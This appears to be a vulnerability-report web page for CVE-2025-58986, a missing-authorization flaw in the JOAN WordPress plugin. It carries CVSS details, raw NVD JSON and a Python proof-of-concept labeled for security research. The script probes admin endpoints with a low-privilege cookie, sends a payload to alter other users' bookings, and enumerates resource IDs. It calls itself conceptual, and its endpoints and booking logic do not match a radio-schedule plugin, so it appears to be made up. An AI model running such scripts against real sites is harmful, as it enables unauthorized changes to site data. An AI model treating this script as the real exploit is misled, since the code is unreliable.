Security Vulnerability Report
中文
CVE-2025-58986 CVSS 6.5 MEDIUM

CVE-2025-58986

Published: 2025-11-06 16:16:00
Last Modified: 2026-04-27 20:16:23

Description

Missing Authorization vulnerability in ganddser Jock On Air Now (JOAN) joan allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Jock On Air Now (JOAN): from n/a through <= 6.0.4.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Jock On Air Now (JOAN) <= 6.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58986 PoC - Missing Authorization in JOAN Plugin # Target: WordPress with JOAN plugin <= 6.0.4 # Note: This is a conceptual PoC based on typical broken access control patterns import requests import sys TARGET_URL = "http://target-wordpress-site.com" COOKIES = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_user": "attacker_session_cookie" } def exploit_joan_broken_access(): """ This PoC demonstrates how an authenticated low-privilege user can exploit missing authorization checks in JOAN plugin. Common vulnerable patterns: 1. Admin-only AJAX actions without capability checks 2. CRUD operations on resources without ownership validation 3. Bulk actions accessible to any authenticated user """ # Example 1: Access admin-only endpoint without proper authorization admin_endpoints = [ "/wp-admin/admin-ajax.php?action=joan_admin_action", "/wp-json/joan/v1/admin/settings", "/wp-admin/admin.php?page=joan-manage-rooms" ] # Example 2: Modify other users' bookings modify_booking_payload = { "action": "joan_update_booking", "booking_id": "VICTIM_BOOKING_ID", "booking_data": "malicious_data" } print("[*] Testing for Broken Access Control in JOAN plugin...") for endpoint in admin_endpoints: url = f"{TARGET_URL}{endpoint}" try: response = requests.get(url, cookies=COOKIES, timeout=10) if response.status_code == 200 and "admin" in response.text.lower(): print(f"[!] Vulnerable endpoint found: {endpoint}") print(f"[+] Response preview: {response.text[:200]}...") except requests.RequestException as e: print(f"[-] Request failed: {e}") # Example 3: Enumerate and access resources across tenants for resource_id in range(1, 1000): url = f"{TARGET_URL}/wp-json/joan/v1/bookings/{resource_id}" response = requests.get(url, cookies=COOKIES) if response.status_code == 200: print(f"[!] Accessible resource: {resource_id}") return True if __name__ == "__main__": print("CVE-2025-58986 - JOAN Plugin Broken Access Control PoC") print("=" * 60) exploit_joan_broken_access()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58986", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:00.473", "lastModified": "2026-04-27T20:16:23.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ganddser Jock On Air Now (JOAN) joan allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Jock On Air Now (JOAN): from n/a through <= 6.0.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/joan/vulnerability/wordpress-jock-on-air-now-joan-plugin-6-0-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}